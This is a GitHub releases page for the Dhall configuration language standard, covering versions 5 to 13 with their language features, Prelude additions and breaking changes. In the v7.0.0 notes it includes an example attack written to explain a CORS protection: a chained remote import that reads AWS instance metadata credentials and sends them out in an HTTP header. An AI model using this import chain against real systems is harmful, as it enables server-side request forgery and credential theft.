Skip to content
  • v13.0.0
  • 48db9e1
  • Compare
    Choose a tag to compare
    Search for a tag
  • v13.0.0
  • 48db9e1
  • Compare
    Choose a tag to compare
    Search for a tag

@Gabriel439 Gabriel439 released this Jan 8, 2020 · 8 commits to master since this release

Breaking changes:

  • Extend Prelude's JSON type to handle unlimited precision Integers and Naturals

    This adds new Prelude.JSON.{double,integer,natural} utilities and the
    latter two utilities can store arbitrary Integers and Natural without
    loss of precision.

    For example:

    let JSON = https://prelude.dhall-lang.org/JSON/package.dhall
    
    in  JSON.render (JSON.natural 1000000000000000000000000000000)

    Prelude.JSON.number still remains and is a synonym for Prelude.JSON.double

    This is a technically breaking change because this alters Prelude.JSON.Type
    but in practice this will not break code that treats that type as a black box.

New features:

Other changes:

Assets 2
  • v12.0.0
  • 9f24813
  • Compare
    Choose a tag to compare
    Search for a tag
  • v12.0.0
  • 9f24813
  • Compare
    Choose a tag to compare
    Search for a tag

@Gabriel439 Gabriel439 released this Nov 30, 2019 · 32 commits to master since this release

Breaking changes:

  • New Integer/negate and Integer/clamp builtins

    This change adds two new built-ins so that Integers are no longer opaque.
    These two built-ins permit transforming back and forth between Integers and
    Natural numbers, so you can in theory now implement arbitrary operations on
    Integers.

    These two built-ins have the following types:

    • Integer/clamp : Integer → Natural - Converts an Integer to a Natural
      number, truncating to 0 if the Integer was negative

    • Integer/negate : Integer → Integer - Negates an Integer

    See below for the matching change to the Prelude to use these built-ins to
    power several new Prelude utilities.

  • Remove support for fusion

    This removes support for Natural/List/Optional "fusion".

    For example, before this change an expression such as:

    λ(x : Natural)  Natural/build (Natural/fold x)

    ... would simplify to:

    λ(x : Natural)  x

    ... or in other words paired occurrences of Natural/build and Natural/fold
    would "fuse" away and disappear since they are inverses of one another.
    Similarly, List/build/List/fold and Optional/build/Optional/fold would
    fuse away in the same way.

    After this change they no longer do so. We removed language support for
    fusion for two reasons:

    • Fusion was specified in such a way that the language was no longer
      confluent

      Note: We have not proven that the language is now confluent in the absence
      of fusion, but we are certain that fusion was interfering with confluence.

      A practical consequence of the absence confluence was that fusion-related
      optimizations were brittle

    • Fusion added implementation complexity

      ... which in turn increased the difficulty of porting new language bindings

    This is a technically breaking change because the normal forms for certain
    expressions will differ if they relied on fusion, which in turn would perturb
    semantic integrity checks protecting those expressions. In practice, you are
    unlikely to be affected by this change.

New features:

  • Add new Integer functions to Prelude

    This change takes advantage of the newly added Integer/{clamp,negate}
    built-ins to add the following operations on Integers to the Prelude:

    • Integer.abs : Integer → Natural

    • Integer.add : Integer → Integer → Integer

    • Integer.clamp : Integer → Natural

    • Integer.equal : Integer → Integer → Bool

    • Integer.greaterThan : Integer → Integer → Bool

    • Integer.greaterThanEqual : Integer → Integer → Bool

    • Integer.lessThan : Integer → Integer → Bool

    • Integer.lessThanEqual : Integer → Integer → Bool

    • Integer.multiply : Integer → Integer → Integer

    • Integer.negate : Integer → Integer

    • Integer.subtract: Integer → Integer → Integer

    • Integer.toNatural : Integer → Optional Natural

  • Implement renderYAML

    You can now render JSON values as YAML documents using a new
    Prelude.JSON.renderYAML utility

    Note that this utility is not intended to be as featureful as the
    dhall-to-yaml command-line tool, but can still prove to be useful for:

    • Rendering YAML documents in pure Dhall when appropriate to do so
    • Rendering JSON values as YAML Text for use in concise assert expressions
  • Add a Prelude.JSON.omitNullFields

    While renderYAML doesn't aim to be as comprehensive as dhall-to-yaml we
    can still provide an omitNull utility which behaves similarly to the
    --omitNull flag for the command-line tool. This function removes all
    null-valued record fields from a JSON expression:

    • JSON/omitNull : JSON → JSON
  • Add List/{take,drop}

    This change exploits the recently-added Natural/subtract built-in to
    implement high-performance list truncation utilities of the following types:

    • List/take : Natural → ∀(a : Type) → List a → List a

    • List/drop : Natural → ∀(a : Type) → List a → List a

  • Add JSON.tag{Inline,Nested} helpers for union encoding

    These are convenience utilities to support the dhall-to-{json,yaml}
    executables which provide a mechanism for converting union literals to
    tagged JSON records:

    • JSON/tagInline : ∀(tagFieldName : Text) → ∀(a : Type) → ∀(contents : a) → { contents : a, field : Text, nesting : < Inline | Nested : Text > }

    • JSON/tagNested : ∀(contentsFieldName : Text) → ∀(tagFieldName : Text) → ∀(a : Type) → ∀(contents : a) → { contents : a, field : Text, nesting : < Inline | Nested : Text > }

Other changes:

Assets 2
  • v11.1.0
  • 31e90e1
  • Compare
    Choose a tag to compare
    Search for a tag
  • v11.1.0
  • 31e90e1
  • Compare
    Choose a tag to compare
    Search for a tag

@Gabriel439 Gabriel439 released this Oct 29, 2019 · 58 commits to master since this release

New features:

Other changes:

Assets 2
  • v11.0.0
  • 8098184
  • Compare
    Choose a tag to compare
    Search for a tag
  • v11.0.0
  • 8098184
  • Compare
    Choose a tag to compare
    Search for a tag

@Gabriel439 Gabriel439 released this Oct 16, 2019 · 64 commits to master since this release

Breaking changes:

  • Simplify within record projection

    This change allows the interpreter to simplify an expression like this:

    (r  { x = 1, y = True }).{ x, z }

    ... to this:

    r.{ z }  { x = 1 }

    This is a technically breaking change because it changes the normal form for
    expressions that can be simplified in this way, which in turn perturbs
    their hash if they are protected by a semantic integrity check. However, in
    practice this is unlikely to disrupt your code.

  • Simplify nested record projection

    This change allows the interpreter to simplify an expression like this:

    r.{ x, y, z }.{ x, y }

    ... to this:

    r.{ x, y }

    This is a technically breaking change because it changes the normal form for
    expressions that can be simplified in this way, which in turn perturbs
    their hash if they are protected by a semantic integrity check. However, in
    practice this is unlikely to disrupt your code.

New features:

  • Add support for leading separators

    Record literals, record types, and union types all now support leading
    separators, like this:

    { , x = 1, y = True }
    
    { , x : Natural, y : Bool }
    
    < | x : Natural | y : Bool >

    ... which are more commonly used when formatting a multi-line expression so
    that you can always add/remove entries with only a single-line change.

    let example = {
          , x = 1
          , y = True
          }
  • Standardize support for record completion

    This adds a new operator:

    T::r

    ... which is syntactic sugar for:

    (T.default  r) : T.Type

    The motivation for this change is to handle configuration formats with a large
    number of defaultable fields so that users can omit any default-valued fields
    when creating a record:

    let Example =
          { Type = { foo : Text, bar : Optional Natural }
          , default = { bar = None Natural }
          }
    
        -- No need to specify `bar` since it will default to `None Natural`
    in  Example::{ foo = "ABC" }
  • Improved Windows support for caching

    Interpreters will now use Windows-appropriate cache directories
    (i.e. %LOCALAPPDATA%) when available

  • Prelude: Include types in the package.dhall files

    You can now access Prelude.Map.Type, Prelude.JSON.Type and other types
    from the Prelude's package.dhall

  • Prelude: Add List.{default,empty}, Map.empty, Optional.default

    This adds the following new Prelude utilities:

    Prelude.List.default
      : (a : Type)  Optional (List a)  List a
    
    Prelude.List.empty
      : (a : Type)  List a
    
    Prelude.Map.empty
      : (k : Type)  (v : Type)  Map k v
    
    Prelude.Optional.default
      : (a : Type)  a  Optional a  a
  • Prelude: Move JSON.key{Text,Value} to Map

    Prelude.JSON.keyText is now also available from Prelude.Map.keyText

    Similarly, Prelude.JSON.keyValue is now also available from
    Prelude.Map.keyValue

Other changes:

Assets 2
  • v10.0.0
  • ecbf827
  • Compare
    Choose a tag to compare
    Search for a tag
  • v10.0.0
  • ecbf827
  • Compare
    Choose a tag to compare
    Search for a tag

@Gabriel439 Gabriel439 released this Sep 6, 2019 · 96 commits to master since this release

Breaking changes:

  • Remove old-style union literals from the language

    This is the final phase of removing support for the old union literal syntax
    and they are no longer supported.

    Now, instead of writing this:

    < Left = 1 | Right : Bool >

    ... you must write this:

    < Left : Natural | Right : Bool >.Left 1

    ... or more commonly:

    let Example = < Left : Natural | Right : Bool >
    
    in  Example.Left 1

    For more details, including migration instructions, see: Migration: Deprecation of old union literal syntax

  • Add support for dependent types

    Dhall now provides rudimentary support for dependent types, which in turn
    enables a new assert keyword for testing code.

    For example, now you can write unit tests for your functions like this:

    let not = λ(x : Bool)  x == False
    
    let example0 = assert : not True === False
    
    -- (≡) (U+2261) is the Unicode analog of (===)
    let example1 = assert : not False  True
    
    in  not

    You can also write property tests in the same way, too:

    let rightIdentity = λ(x : Natural)  assert : x  (x + 0)
    
    let leftIdentity  = λ(x : Natural)  assert : x  (0 + x)
    
    -- Note: This last assertion will fail because Dhall's simplifier currently
    -- cannot detect that re-associated expressions are equivalent
    let associativity =
            λ(x : Natural)
           λ(y : Natural)
           λ(z : Natural)
           assert : (x + (y + z)) === ((x + y) + z)
    
    in  {=}

    Dhall is technically dependently typed, meaning that you can now have
    functions from terms to types, like this:

    let Tagged = λ(label : Text)  λ(a : Type)  a
    
    in  1 : Tagged "Age" Natural

    ... but Dhall does not yet support other features that would be required to
    do more sophisticated things like statically sized Vectors. The main
    new benefit for users is language support for tests.

    This is a technically breaking change because assert is now a reserved
    keyword.

  • New Natural/subtract built-in

    This adds a new Natural/subtract built-in which truncates to 0 if the
    result is negative.

    The built-in is useful in its own right, but can also be used to power
    other utilities (such as efficient comparison of Natural numbers, also
    included in this releases)

    This is a technically breaking change because Natural/subtract is now a
    reserved identifier, but in practice this is unlikely to break your code
    unless you defined your own inefficient Natural/subtract function in terms
    of Natural/fold. If you did so, then just delete the old code and switch
    to the new built-in.

    See also: Simplify Natural/subtract when its arguments are equivalent

  • New simplifications for field selection

    The interpreter will now intelligently normalize some unsaturated field
    selections and projections.

    For example, the following code:

    λ(x : { a : Bool, b : Bool })  (x  { c = 0 }).{ a, c }.c

    ... will simplify to:

    λ(x : { a : Bool, b : Bool })  0 

    This is a technically breaking change because it changes the normal form for
    expressions that can be simplified in this way, which in turn perturbs
    their hash if they are protected by a semantic integrity check. However, in
    practice this is unlikely to disrupt your code.

    See also: Add missing symmetric rules for field selection normalization

  • Simplify // when its arguments are equivalent

    The interpreter will now simplify x // x to x

    This is a technically breaking change for the same reason as the previous
    change: because it changes the normal form for expressions using this
    feature.

  • Don't URL-decode path segments

    This changes the the binary representation of URLs to pass through path
    segments without decoding them for better interoperability with other tools.

    This is a technically breaking change because the binary format changes for
    URLs, but this does not disturb semantic integrity checks since they hash
    URL-free expressions.

New features:

  • Standardize mixed records

    You can now have mixed records of terms, types, and kinds. For example,
    something like this is now legal:

    { foo = 1, bar = Text }

    Practically, this means that Dhall packages can now export both types and
    terms from the same record, so that they no longer need a separate
    types.dhall record.

  • Prelude: Add Natural comparison functions

    You can now use high-performance Natural comparison functions which are
    internally powered by the newly-added Natural/subtract built-in.

Other changes:

Assets 2
  • v9.0.0
  • 6cbf57c
  • Compare
    Choose a tag to compare
    Search for a tag
  • v9.0.0
  • 6cbf57c
  • Compare
    Choose a tag to compare
    Search for a tag

@Gabriel439 Gabriel439 released this Jul 25, 2019 · 135 commits to master since this release

Breaking changes:

  • Remove old Optional literal syntax

    This is phase 2 of removing support for the old List-like Optional literal
    syntax.

    This phase removes the old Optional literals from the language. You now
    must use Some or None.

    For more details, including migration instructions, see:
    Migration: Deprecation of old Optional literal syntax

  • Forbid surrogate pairs and non-characters

    Dhall no longer supports surrogate pairs within escape sequences. In other
    words, something like this is no longer valid:

    "\uD834\uDD1E"

    ... and you must instead use a braced escape sequence to represent a Unicode
    character that would have previously required a surrogate pair:

    "\u{1D11E}"

    Dhall also no longer supports escape sequences for non-characters, so
    something like this is also no longer valid:

    "\uFFFF"

    Surrogate pairs and non-characters are also now explicitly forbidden within
    the source code (i.e. within comments or unescaped text literals), but these
    were already forbidden before. Dhall source code has to be valid UTF8, which
    already disallows those characters.

  • Add toMap keyword to create homogeneous maps from records

    You can now create an association list (a.k.a. a Map) from a Dhall record if
    all of the values stored within the record have the same type. For
    example:

    toMap { foo = 1, bar = 2 }
    
    = [ { mapKey = "foo", mapValue = 1 }, { mapKey = "bar", mapValue = 2 } ]

    This allows a Dhall binding to a configuration format to accept a list of
    key-value pairs if it doesn't know in advance what keys to expect, while
    still permitting the user to specify the key-value pairs using record-like
    syntax.

    Two other features within this same release take advantage of this:

    • You can now specify custom headers for imports using the record
      generated by toMap, like this:

      https://example.com/foo
        using toMap { Authorization = "token ${env:GITHUB_TOKEN as Text }" }
    • You can specify key-value pairs for the JSON type just added to the
      Prelude using toMap, too:

      let JSON = https://prelude.dhall-lang.org/JSON/package.dhall
      
      in  JSON.object (toMap { foo = JSON.number 1.0, bar = JSON.string "baz" })

    This is a technically breaking change because toMap is now a reserved
    keyword, but in practice most users will not be affected unless they used
    that label before this change.

  • Beta-normalization: Sort the fields of a record projection

    Normalization will now sort the fields of a record projection if it cannot
    be further reduced. For example, this expression:

    λ(x : { a : Bool, b : Bool, c : Bool })  x.{ c, a }

    ... now normalizes to:

    λ(x : { a : Bool, b : Bool, c : Bool })  x.{ a, c }

    This is a technically breaking change because it might perturb the hash of
    any expression that contains an irreducible record projection, but in
    practice this should not affect most users.

New features:

  • Implement importing paths as Location

    Dhall now permits reflection on fully resolved import paths so that these
    paths remain up-to-date no matter where the configuration file is
    interpreted from.

    For example, suppose that you store the following configuration file at
    /home/john/example.dhall:

    { packagePath = "./purescript-simple-json"
    }

    ... where packagePath is intended to point to
    /home/john/purescript-simple-json.

    ... but then you use that to configure a program running with a different
    current working directory, such as: PWD=/home/alice/. That program will
    fail to resolve the package path because /home/alice/purescript-simple-json
    does not exist.

    However, if you change the configuration to:

    { packagePath = ./purescript-simple-json as Location
    }

    Then the interpreter will replace the import with an expression encoding the
    absolute path to the import, generating an expression equivalent to this:

    let Location = https://prelude.dhall-lang.org/Location/Type
    
    in  { packagePath = Location.Local "/home/john/purescript-simple-json" }

    ... so that the Dhall configuration file can be used to configure a program
    running within any working directory.

    If the same file were hosted at https://example.com/john/example.dhall then
    the expression would evaluate to:

    let Location = https://prelude.dhall-lang.org/Location/Type
    
    in  { packagePath = Location.Remote "https://example.com/john/purescript-simple-json" }
  • Allow all RFC3986-compliant URLs

    Now all URLs are valid imports.

    For example, before this change https://example.com was not a valid import
    due to not having any path components and after this change URLs without
    paths are valid.

    This change also enables:

    • URLs with empty path components (i.e. https://example.com///)
    • Path components with unquoted special characters, such as =
  • Generalize empty list annotations

    You can now annotate an empty list with a type synonym, like this:

    let Example = List Natural
    
    in  [] : Example

    Before this change, the List in : List was part of the grammar for empty
    lists, and you could only create a type synonym for the list element type,
    but not the list type as a whole. Now you can create a type synonym for the
    list type.

  • Add Map type and utility functions to Prelude

    The Prelude is now enshrining the Dhall idiom of using
    List { mapKey : Text, mapValue : a } to represent homogeneous maps by
    adding basic types and utilities for working with values of that type.

    This change pairs well with the following matching changes in this release:

  • Use multihash for cache filenames

    Dhall caches imports protected by semantic integrity checks underneath
    ${XDG_CACHE_HOME}/dhall or ~/.cache/dhall and this change affects the
    names of the cache files, which are now preceded with the four characters
    1220 to reflect
    the multi-hash standard.

    This change means that the interpreter will not reuse old cache files when
    upgrading from an older release, so the cache will be rebuilt upon the first
    run of the interpreter. However, this is not a breaking change as this does
    not change the final result interpreting a protection protected by a semantic
    integrity check.

  • Add support for braced escape sequences

    You can now escape Unicode characters using braces, like this:

    "Musical symbol G clef: \u{1D11E}"

    This allows Dhall to escape Unicode characters with code points greater than
    0xFFFF without the use of surrogate pairs. This is necessary given that
    surrogate pair escape sequences are now forbidden within this same release.

  • Prelude: Add standard representation for weakly-typed JSON values

    Utilities like dhall-to-{json,yaml} and {json,yaml}-to-dhall have up until
    now only supported Dhall types with schemas known ahead-of-time. However,
    some configuration file formats support fields that can store arbitrary JSON
    code (such as arbitrary JSON that the configuration intends to "pass through"
    to configure another step).

    This change adds a canonical type to the Prelude for representing an arbitrary
    JSON value and utilities for creating such JSON values. For example:

    let JSON = https://prelude.dhall-lang.org/JSON/package.dhall
    
    in  JSON.object
        ( toMap
          { foo = JSON.null
          , bar = JSON.array [ JSON.number 1.0, JSON.bool True ]
          }
        )

    Also, the matching release of the dhall-json package supports this
    weakly-typed representation anywhere within the schema when converting
    either way between JSON/YAML and Dhall configuration files.

  • Use Prelude/Map for import headers

    You can now use a value of type List { mapValue : Text, mapValue : Text }
    to represent custom headers within an import's using clause instead of
    List { header : Text, value : Text }. For example:

    https://example.com/foo using
      [ { mapKey   = "Authorization"
        , mapValue = "token ${env:GITHUB_TOKEN as Text}"
        }
      ]

    ... or using the new toMap keyword:

    https://example.com/foo using
      toMap { Authorization = "token ${env:GITHUB_TOKEN as Text}" }

    The old header/value form is still supported, so this is not a breaking
    change. However, at some point in the future we may initiate the process of
    deprecating header/value support.

  • Add new Prelude/XML package

    There is now a Prelude/XML package that you can use to represent and
    render a subset of XML values using Dhall. This will eventually be used to
    power a dhall-to-xml utility.

    For example:

    let XML = https://prelude.dhall-lang.org/XML/package.dhall
    
    in  XML.render (XML.leaf { name = "foobar", attributes = XML.emptyAttributes })
    
    = "<foobar/>"

Other changes:

Assets 2
  • v8.0.0
  • 136a349
  • Compare
    Choose a tag to compare
    Search for a tag
  • v8.0.0
  • 136a349
  • Compare
    Choose a tag to compare
    Search for a tag

@Gabriel439 Gabriel439 released this Jun 3, 2019 · 189 commits to master since this release

Breaking changes:

  • Allow tabs and blank lines in multiline strings

    This changes two things about how multiline strings handle whitespace:

    • Blank lines are now ignored for the purpose of dedenting multiline strings

      Previously empty lines would still require the same number of leading spaces
      as other lines in order for multiline string literals to be properly
      dedented.

      For example, the following multi-line string is now dedented:

      let example =
      ␠␠␠␠␠␠''
      ␠␠␠␠␠␠foo
      
      ␠␠␠␠␠␠bar
      ␠␠␠␠␠␠''
      
      in  

      ... to this equivalent double-quoted string literal:

      "foo\n\nbar\n"
    • Multiline literals with leading tabs will now also be dedented

      To be precise, multiline literals will now dedent any shared prefix
      consisting of tabs and spaces so long as each (non-blank) line begins with
      the same prefix, such as this code:

      let example =
      ␉␠''
      ␉␠foo
      
      ␉␠bar
      ␉␠''
      
      in  

      ... which also desugars to the same double-quoted string literal:

      "foo\n\nbar\n"

    This is a breaking change because multi-line string literals with blank lines
    or leading tabs are now interpreted differently. However, expressions that
    padded blank lines with leading whitespace are unaffected by this change.

  • Simplify bare interpolations

    String literals that do nothing but interpolate a single expression are now
    simplified to that expression.

    For example, this code:

    λ(x : Text)  "${x}"

    ... now normalizes to this code:

    λ(x : Text)  x

    This is technically a breaking change because semantic integrity checks will
    change for any expressions that can be simplified in this way. However,
    functionally this has no change on the code's behavior as the simplified code
    is extensionally equal to the original code.

    There is also another related change within this same release:

  • Encode integrity check as multihash

    This changes how imports with semantic integrity checks are serialized by
    updating them to follow the multihash
    standard.

    This is a technically breaking change if you serialize uninterpreted
    expressions that contain imports, but this has no effect on semantic integrity
    checks, which are computed from fully-resolved expressions.

New features:

  • Record projection by expression

    You can now project out a subset of record fields by specifying the expected
    type. For example, this expression:

    let e = { a = 10, b = "Text" }
    
    let s = { a : Natural }
    
    in e.(s)

    ... normalizes to:

    { a = 10 }

    In other words, the type can be used as a record selector if surrounded with
    parentheses.

  • Allow Sort as type annotation

    Before this change Sort was not permitted anywhere within an expression and
    could only appear as the inferred type of an expression.

    Now Sort can be used as a type annotation, such as:

    Kind : Sort

    ... but is still forbidden elsewhere within expressions.

    This is not a breaking change: this only permits more expressions to
    type-check than before.

  • Standardize support for header forwarding and inline headers

    This makes two changes to the language:

    • You can now specify custom headers inline, like this:

      https://httpbin.org/user-agent
        using [ { header = "User-Agent", value = "Dhall" } ]
        as Text

      ... instead of having to specify them in a separate import

    • Headers are now automatically forwarded to relative imports

      In other words, if you import
      https://example.com/foo.dhall using someHeaders
      and that in turn imports ./bar.dhall then that will resolve to
      https://example.com/bar.dhall using someHeaders. In other words, the
      same headers used to fetch foo.dhall will also be used to fetch
      bar.dhall.

      This is most commonly used resolve transitive imports for expressions hosted
      within a private repository that requires authenticated headers.

  • Allow self-describe-cbor when decoding

    This extends the binary decoding logic to permit (and ignore) CBOR tag 55799,
    as required by the CBOR RFC.

    This is not a breaking change: this only permits more CBOR expressions to be
    decoded than before.

Other changes:

Assets 2
  • v7.0.0
  • f0509b4
  • Compare
    Choose a tag to compare
    Search for a tag
  • v7.0.0
  • f0509b4
  • Compare
    Choose a tag to compare
    Search for a tag

@f-f f-f released this Apr 26, 2019 · 230 commits to master since this release

Breaking changes:

  • Protect transitive remote imports with CORS check

    This change protects against
    server-side request forgery
    by preventing remote imports from importing transitive remote imports
    that do not explicitly opt in via CORS.

    For example, a simple way to exploit an AWS EC2 instance before this change
    is to ask the instance to interpret https://example.com/malicious, where:

    • https://example.com/malicious imports https://example.com/recordsHeaders using https://example.com/stealCredentials

    • https://example.com/stealCredentials contains

      [ { header = "Credentials"
        , value = http://169.254.169.254/latest/meta-data/iam/security-credentials/role as Text
        }
      ]

    This is a breaking change because now the import of http://169.254.169.254
    would be rejected, as the response would not include an Access-Control-Allow-Origin
    header permitting itself to be transitively imported.

    Similarly, this change protects against an external internet import from
    triggering an interpreter request against a potentially sensitive intranet
    endpoint unless that intranet endpoint had enabled CORS whitelisting that
    external domain.

  • Remove support for fragment identifiers

    Fragment identifiers are not useful for remote imports since:

    • They don't affect import resolution because:
      • They are not used to resolve the host
      • They are not transmitted to the host as part of the path to fetch
      • More generally, fragments are required by
        RFC 3986 to be
        interpreted client-side (if at all)
    • They don't identify any "sub-section" of a Dhall expression to fetch

    Therefore, we remove support for them in the grammar and the binary encoding.

    This is a breaking change to the binary encoding, although this does not
    affect semantic integrity checks because they are fully resolved and
    therefore don't include imports.

  • Unescape unquoted URI path components

    With this change all unquoted URI paths will be unescaped on parsing, and
    all URI components will be escaped before importing.

    This changes the binary encoding, e.g. the following expressions used to encode
    to the same bytes, but now don't:

    • https://example.com/a%20b/c
    • https://example.com/"a%20b"/c
  • Simplify text concatenation normalization

    From now on, the "text concatenation" operator is interpreted as two
    interpolations together:

    "${l}${r}" ⇥ s₀
    ─────────────────────
    l ++ r ⇥ s₀
    

    This is a breaking change, as the following expression:

    λ( a : Text )  λ( b : Text )  a ++ b

    ..used to normalize to itself, while now it normalizes to:

    λ( a : Text )  λ( b : Text )  "${a}${b}"

New features:

  • Add support for union alternatives without fields

    This adds support for unions with empty alternatives that don't store any
    values. In the simple case where the union has all empty alternatives it
    degenerates to an enum.

    For example this is now possible:

    let Role = < Wizard | Fighter | Rogue >
    
    let show : Role  Text
        show =
            λ(x : Role)
           merge { Wizard = "Wizard", Fighter = "Fighter", Rogue = "Rogue" } x
    
    in  show Role.Wizard

    Note that the corresponding handlers don't need to take a function argument
    any longer; that is, handlers for empty alternatives no longer have to bind
    unused arguments of type {} and constructors for empty alternatives no
    longer have to take an input of {=}.

  • Expand character set for quoted labels

    This expands quoted labels to permit all non-control ASCII characters except
    backticks, so e.g. this is now allowed:

    { `<>.\!@#$%^&*()*` = 42 }
  • Allow builtin names as fields

    Up until now it was not possible to use builtin names anywhere except when
    invoking builtins. This caused some common idioms to be uncomfortable to use,
    e.g. in order to use builtin names in record fields one needed to quote them:

    let Prelude = https://prelude.dhall-lang.org/package.dhall
    
    in  Prelude.`List`.map

    This change allows using builtin names for anything but bound variables, so
    this is now allowed:

    let Prelude = https://prelude.dhall-lang.org/package.dhall
    
    in  Prelude.List.map
  • Fix typechecking of Sorts in records

    This fixes a limitation of the record typechecking, for which Sorts were forbidden
    in record types.

    So the following didn't use to typecheck but now do:

    • { a : Kind → Kind } with type Sort
    • { a : { b : Kind } } with type Sort
    • { a : { b : Kind → Kind } } with type Sort
    • { a = { b = Type } } with type { a : { b : Kind } }

Other changes:

Assets 2
  • v6.0.0
  • 07aa048
  • Compare
    Choose a tag to compare
    Search for a tag
  • v6.0.0
  • 07aa048
  • Compare
    Choose a tag to compare
    Search for a tag

@Gabriel439 Gabriel439 released this Mar 5, 2019 · 281 commits to master since this release

Breaking changes:

  • Don't tag encoded expressions with their hash

    Up until now, every new release of the standard required upgrading semantic
    integrity checks since the standard version is included in the input to the
    hash. The original intent was to fail fast so that users wouldn't attempt
    to decode a malformed expression if the binary format changed.

    Now the standard is stable enough that the hash is quickly becoming the only
    thing that changes for encoded expressions, so this change removes the
    version from the input to semantic integrity check. This implies that
    semantic integrity checks should now be stable across future standard
    versions (modulo backwards-incompatible changes to the binary format, which
    may still happen, but much less often).

    This should ease one of the biggest pain points when upgrading interpreters
    to support newer releases of the standard.

  • Remove constructors keyword

    This is phase 3 of the plan to deprecate the constructors keyword, which
    you can find here:

    This phase removes the constructors keyword for the language so that new
    implementations of the Dhall configuration language have one less thing they
    need to implement.

    If you still haven't migrated yet, the migration is simple: in most cases
    you can delete the constructors keyword and your code will still work.
    The above link explains how to handle the few cases that might still break
    as a result of this change.

  • Add referential sanity check

    The referential sanity check is a long-standing feature of the Haskell
    implementation that is now upstreamed into the standard. This check is both
    a security feature and also a "sanity" feature.

    This check prevents a remote import from importing a local import (i.e. a
    local file or environment variable). The exception is that a remote import
    can still contain a relative import (which still resolves to a remote
    import when canonicalized).

    Without this check a malicious remote import could exfiltrate the contents
    of sensitive local files or environment variables using the language's
    support for custom HTTP headers.

    This check is also "sane" in the sense that remote imports are globally
    addressable, whereas local imports are not, and it doesn't make sense for
    something advertised as globally addressable to depend on imports that are
    not globally addressable.

  • CBOR-encode only some special values as half-floats

    This is a breaking change to the binary representation of Double literals
    in order to support porting Dhall to a wider range of languages, many of
    which might not support half-width Double representations.

    This change only now encodes all Double literals using at least 32 bits,
    with the exception of special values like NaN or Infinity.

  • Sort record and union fields before CBOR encoding them

    Implementations must now sort record fields and union alternatives when
    serializing Dhall expressions. The motivation for this change is to
    simplify implementation of the language for interpreters so that they don't
    need to use order-preserving maps for recording the original source order of
    fields/alternatives.

    Implementations can still internally use order-preserving maps if they want
    to support non-standard features (like code formatting or better error
    messages), but restricting the standard serialization format to sorted
    fields/alternatives ensure binary interoperability with other
    implementations.

    Note that this is not a breaking change for semantic integrity checks.
    Fields/alternatives were already sorted for semantic integrity checks since
    the expression is β-normalized before being hashed (and β-normalization
    already sorts fields).

    However, this is a potentially breaking change when serializing Dhall
    expressions in other contexts when the expressions have not yet been
    β-normalized (i.e. serializing and transmitting uninterpreted Dhall code
    over the wire).

New features:

  • Add Unicode support for quoted path characters

    You can now use arbitrary Unicode characters in quoted path components, like
    this:

    ./families/"禺.dhall"

    This reflects the fact that users might not have control over the names of
    files that they wish to import.

  • Add Text/show built-in

    This adds a new Text/show built-in that converts a Text literal into
    equivalent Dhall source code:

    Text/show "ABC\ndef" = "\"ABC\\ndef\""
    

    The motivation for this is to enable using Dhall to generate Dhall code and
    also to use Dhall to generate JSON (since the output of Text/show is also
    JSON-compatible).

Other changes:

Assets 2
  • v5.0.0
  • 57ad9d8
  • Compare
    Choose a tag to compare
    Search for a tag
  • v5.0.0
  • 57ad9d8
  • Compare
    Choose a tag to compare
    Search for a tag

@Gabriel439 Gabriel439 released this Dec 28, 2018 · 305 commits to master since this release

Breaking changes:

  • constructors x = x

    This change the constructors keyword to behave like the identity function.
    In other words, the constructors keyword returns the union type provided
    as its argument.

    The intermediate record of constructors is no longer necessary now that you
    can access constructors directly from the original union type. For example,
    this code is unaffected by this change:

    let Either = < Left : Natural | Right : Bool >
    
    let either = constructors Either
    
    in  [ either.Left 1, either.Right True ]

    ... because before this change the intermediate either value would be
    a record with two fields named Left and Right and after this change
    the intermediate either value would be the original Either type which
    you can access the Left and Right constructors from directly. This
    code is now exactly equivalent to:

    let Either = < Left : Natural | Right : Bool >
    
    in  [ Either.Left 1, Either.Right True ]

    The rationale for this change is to improve performance for users who
    haven't yet removed all occurrences of the constructors keyword from
    their code. Removing the intermediate record of constructors improves
    type-checking and normalization speed while minimizing disruption.

    This is still a breaking change for two reasons:

    • The most likely way this will break your code is you use record of
      terms that contains a sub-record built by the constructors keyword,
      like this:

      { foo = 1, bar = constructors < Left : Natural | Right : Bool > }

      The above example was permitted before this change and is not permitted
      after this change, since the bar field transforms from a term into a
      type and records can't mix terms (like foo) and types (like bar)

    • A less likely way this will break your code is that you gave a type
      annotation to the output of the constructors keyword, like this:

      let Either = < Left : Natural | Right : Bool >
      
      let either : { Left : Natural  Either, Right : Bool  Either }
            = constructors Either
      
      in  [ either.Left 1, either.Right True ]

      The above example would succeed before this change, but fail after this
      change due to the type of either changing to Type.

    This is phase 2 of the plan to deprecate the constructors keyword, which
    you can find here:

  • Disallow labels that match builtins or keywords

    Before this change the following expression was technically legal, albeit
    potentially confusing:

    let if = 1 in if

    After this change the above expression is no longer legal.

    One motivation for this change is to ensure better error messages. Parsers
    can more convincingly explain parse failures to users when they don't have
    to consider the possibility that these keywords might have been variable
    names.

    Another motivation is to forbid users from writing misleading code by naming
    things after keywords.

New features:

  • Standardize support for multi-line literals

    This is a feature that was part of the Haskell bindings to Dhall that has
    been upstreamed into the standard.

    The standard grammar specified how to parse multi-line string literals but
    not how to interpret them as Text literals. This change specifies how to
    desugar them into ordinary double-quoted string literals.

    For example, this multi-line string literal:

    λ(x : Text)  ''
      ${x}    baz
          bar
        foo
        ''

    ... is syntactic sugar for this expression:

    λ(x : Text)  "${x}    baz\n    bar\n  foo\n  " 
  • Standardize support for as Text

    This is a feature that was part of the Haskell bindings to Dhall that has
    been upstreamed into the standard.

    This allows an import to be imported as raw Text rather than being
    interpreted as a Dhall expression. For example:

    $ FOO=1 dhall <<< 'env:FOO'
    1
    $ FOO=1 dhall <<< 'env:FOO as Text'
    "1"
    

    This can be used to read in text from imports without having to modify them
    to pre-quote the contents. This comes in handy when modifying the original
    import is not an option.

  • Forbid import cycles

    This is a feature that was part of the Haskell bindings to Dhall that has
    been upstreamed into the standard.

    This forbids import cycles, such as the following trivial cycle:

    $ cat ./foo
    ./bar
    
    $ cat ./bar
    ./foo

    More generally, no import may transitively depend on itself.

    This is not treated as a breaking change since the code that this disallows
    was already broken. Conceptually, all this change does is improve the user
    experience so that the program fails fast upon detecting a cycle instead of
    getting stuck in an infinite import loop.

  • Allow nested records of types

    Before this change you could have a record of types, but you could not nest
    another record of types within that record. After this change, a record of
    types counts as a type, meaning that you can mix it with other types within
    a record.

    For example, the following record was previously forbidden and is now legal:

    { user = { name : Text, age : Natural }, region = Text }

